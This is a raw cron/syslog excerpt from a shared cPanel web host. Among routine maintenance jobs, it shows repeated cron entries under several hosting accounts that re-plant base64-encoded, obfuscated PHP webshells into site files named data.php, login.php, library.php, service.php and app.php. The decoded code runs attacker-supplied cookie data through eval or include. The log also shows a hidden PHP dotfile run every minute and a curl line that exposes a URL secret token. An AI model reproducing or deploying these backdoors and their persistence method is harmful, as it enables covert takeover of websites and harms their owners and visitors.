Jun  7 03:47:27 medusa run-parts(/etc/cron.daily)[16322]: finished logrotate
Jun  7 03:47:27 medusa run-parts(/etc/cron.daily)[22925]: starting man-db.cron
Jun  7 03:47:42 medusa run-parts(/etc/cron.daily)[16757]: finished man-db.cron
Jun  7 03:47:42 medusa anacron[29005]: Job `cron.daily' terminated (produced output)
Jun  7 03:47:50 medusa anacron[29005]: Normal exit (1 job run)
Jun  7 03:48:01 medusa CROND[17237]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 03:48:02 medusa CROND[17245]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 03:48:02 medusa CROND[17244]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:48:02 medusa CROND[17246]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 03:48:02 medusa CROND[17248]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:48:02 medusa CROND[17247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 03:48:02 medusa CROND[17249]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 03:48:02 medusa CROND[17250]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 03:48:02 medusa CROND[17255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 03:48:02 medusa CROND[17257]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:48:02 medusa CROND[17258]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 03:48:02 medusa CROND[17259]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:48:02 medusa CROND[17260]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 03:49:01 medusa CROND[18893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 03:49:02 medusa CROND[18898]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 03:49:02 medusa CROND[18899]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 03:49:02 medusa CROND[18900]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 03:49:02 medusa CROND[18901]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 03:49:02 medusa CROND[18902]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:49:02 medusa CROND[18906]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:49:02 medusa CROND[18907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 03:49:02 medusa CROND[18908]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 03:49:02 medusa CROND[18910]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 03:49:02 medusa CROND[18911]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:49:02 medusa CROND[18912]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:50:01 medusa CROND[20567]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 03:50:01 medusa CROND[20569]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 03:50:02 medusa CROND[20581]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 03:50:02 medusa CROND[20582]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 03:50:02 medusa CROND[20583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 03:50:02 medusa CROND[20584]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 03:50:02 medusa CROND[20586]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 03:50:02 medusa CROND[20591]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 03:50:02 medusa CROND[20589]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 03:50:02 medusa CROND[20592]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:50:02 medusa CROND[20593]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
